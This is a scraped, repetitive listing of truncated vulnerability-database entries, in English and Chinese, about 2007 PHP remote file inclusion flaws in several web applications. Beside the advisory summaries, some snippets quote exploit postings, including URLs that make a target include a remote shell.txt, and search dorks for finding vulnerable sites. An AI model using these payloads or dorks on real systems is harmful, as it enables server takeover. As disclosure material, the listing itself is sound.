CVE-2007-5781

CVE-2007-5781 is a PHP remote file inclusion vulnerability in inc/sige_init.php of Sige 0.1 that allows remote attackers to execute arbitrary PHP code via a URL in the SYS_PATH parameter. Affected component: sige_init.php (Sige 0.1). The vulnerability enables arbitrary code execution with network...

CVE-2007-5786

CVE-2007-5786 documents multiple PHP remote file inclusion (RFI) vulnerabilities in GoSamba 1.0.1. The affected component is GoSamba’s PHP code, where the include_path parameter can be controlled to influence file inclusion in a set of files located under include/ (and including: HTML_oben.php, i...

WordPress Plugin BackUpWordPress 0.4.2b - Remote File Inclusion

WordPress Plugin BackUpWordPress 0.4.2b - Remote File Inclusion --------------------------------- Xmors Underground Team ! -------------------------------------- Title : BackUpWordPress = 0.4.2b Remote File Inclusion Vulnerability...

phpFaber URLInn Config.PHP远程文件包含漏洞

phpFaber URLInn是一款基于PHP的WEB应用程序。 phpFaber URLInn不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'Config.PHP'脚本对用户提交的'dirws'参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 phpFaber URLInn 2.0.5 目前没有详细解决方案提供： http://www.phpfaber.com/i/products/urlinn/...

WordPress Plugin BackUpWordPress <= 0.4.2b RFI Vulnerability

No description provided by source. --------------------------------- Xmors Underground Team ! -------------------------------------- Title : BackUpWordPress = 0.4.2b Remote File Inclusion Vulnerability -------------------------------------------------------------------------------- Author: S.W.A....

WordPress Plugin BackUpWordPress 0.4.2b - Remote File Inclusion

--------------------------------- Xmors Underground Team ! -------------------------------------- Title : BackUpWordPress = 0.4.2b Remote File Inclusion Vulnerability -------------------------------------------------------------------------------- Author: S.W.A.T. cont@ct: [email protected]...

CVE-2007-5754

PHP remote file inclusion vulnerability in urlinnincludes/config.php in phpFaber URLInn 2.0.5 allows remote attackers to execute arbitrary PHP code via a URL in the dirws parameter...

Remote file inclusion

PHP remote file inclusion vulnerability in urlinnincludes/config.php in phpFaber URLInn 2.0.5 allows remote attackers to execute arbitrary PHP code via a URL in the dirws parameter...

CVE-2007-5754

CVE-2007-5754 affects phpFaber URLInn 2.0.5, where a PHP remote file inclusion vulnerability exists in urlinn_includes/config.php. The issue allows an attacker to supply a URL to the dir_ws parameter to execute arbitrary PHP code on the server. This is evidenced by references to exploit-DB and vu...

Sige Sige_Init.PHP远程文件包含漏洞

Sige是一款基于PHP的WEB应用程序。 Sige不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'SigeInit.PHP'脚本对用户提交的'SYSPATH'参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 Sige 0.1 目前没有详细解决方案提供： http://sourceforge.net/projects/pfadmin http://www.example.com/inc/sigeinit.php?SYSPATH=http://example2.com/scripts/020.t...

MySpace Resource Script Breadcrumb.PHP远程文件包含漏洞

MySpace Resource Script是一款基于PHP的WEB应用程序。 MySpace Resource Script不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'Breadcrumb.PHP'脚本对用户提交的'rootBase'参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 MySpacePros MySpace Resource Script MSRS 1.21 目前没有详细解决方案提供： http://www.myspacepros.com/products/...

phpfaber-rfi.txt

/ \ @ /|\ /|\ |-| / | \ /|/\ / | \ @ | |--------------------/--|-voV---|'/--Vov-|-----------------------|-| |-| '^ o o '^ | | | | \Y/' |-| |-| | | | | -=ShAd0w-CrEw=- |-| |-| | | | | |-| ||| | @ l /\ / \ /\ l |-| l / V \ \ V \ l @ l/ \I \ /' ---------------------------------------------- GrEeTs...

phpFaber URLInn 2.0.5 (dir_ws) Remote File Inclusion Vulnerability

No description provided by source. / \ @ /|\ /|\ |-| / | \ /|/\ / | \ @ | |--------------------/--|-voV---|'/--Vov-|-----------------------|-| |-| '^ o o '^ &...

Teatro pub08_comments.php远程文件包含漏洞

Teatro是一款基于PHP的WEB应用程序。 Teatro不正确过滤用户提交的URI数据，远程攻击者可以利用漏洞以WEB权限执行任意PHP代码。 问题是由于'pub08comments.php'脚本对用户提交的'basePath'参数缺少过滤，指定远程服务器上的任意文件作为包含参数，可导致以WEB权限执行任意PHP代码。 Teatro 1.6 目前没有详细解决方案提供： http://telemat.die.unifi.it/book/2003/Telematica-II/...

Remote file inclusion

PHP remote file inclusion vulnerability in theme/breadcrumb.php in MySpacePros MySpace Resource Script MSRS 1.21 allows remote attackers to execute arbitrary PHP code via a URL in the rootBase parameter...

CVE-2007-5721

PHP remote file inclusion vulnerability in theme/breadcrumb.php in MySpacePros MySpace Resource Script MSRS 1.21 allows remote attackers to execute arbitrary PHP code via a URL in the rootBase parameter...

CVE-2007-5721

The CVE-2007-5721 entry affects MySpacePros MySpace Resource Script (MSRS) 1.21, where a flaw in _theme/breadcrumb.php allows PHP remote file inclusion via the rootBase parameter. The underlying issue enables arbitrary PHP code execution by an attacker-controlled URL, leading to partial confident...

MySpace Resource Script (MSRS) 1.21 RFI Vulnerability

No description provided by source. MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /theme/breadcrumb.php Line No. 3 ?php include$rootBase . '/inc/breadcrumb.php'; ? Usage : http://site.com/theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks :...

msrs-rfi.txt

MSRS v.1.21 Remote File Inclusion Author Site : http://www.myspacepros.com/ POC : /theme/breadcrumb.php Line No. 3 Usage : http://site.com/theme/breadcrumb.php?rootBase=http://domain.com/shell.txt? D0rks : inurl:/Generators/LayoutGenerator "!new Female Celebrities" inurl:/Generators/ScrollbarColo...

phpFaber URLInn 2.0.5 (dir_ws) Remote File Inclusion Vulnerability

Exploit for unknown platform in category web applications ================================================================== phpFaber URLInn 2.0.5 dirws Remote File Inclusion Vulnerability ================================================================== / \ @ /|\ /|\ |-| / | \ /|/\ / | \ @ |...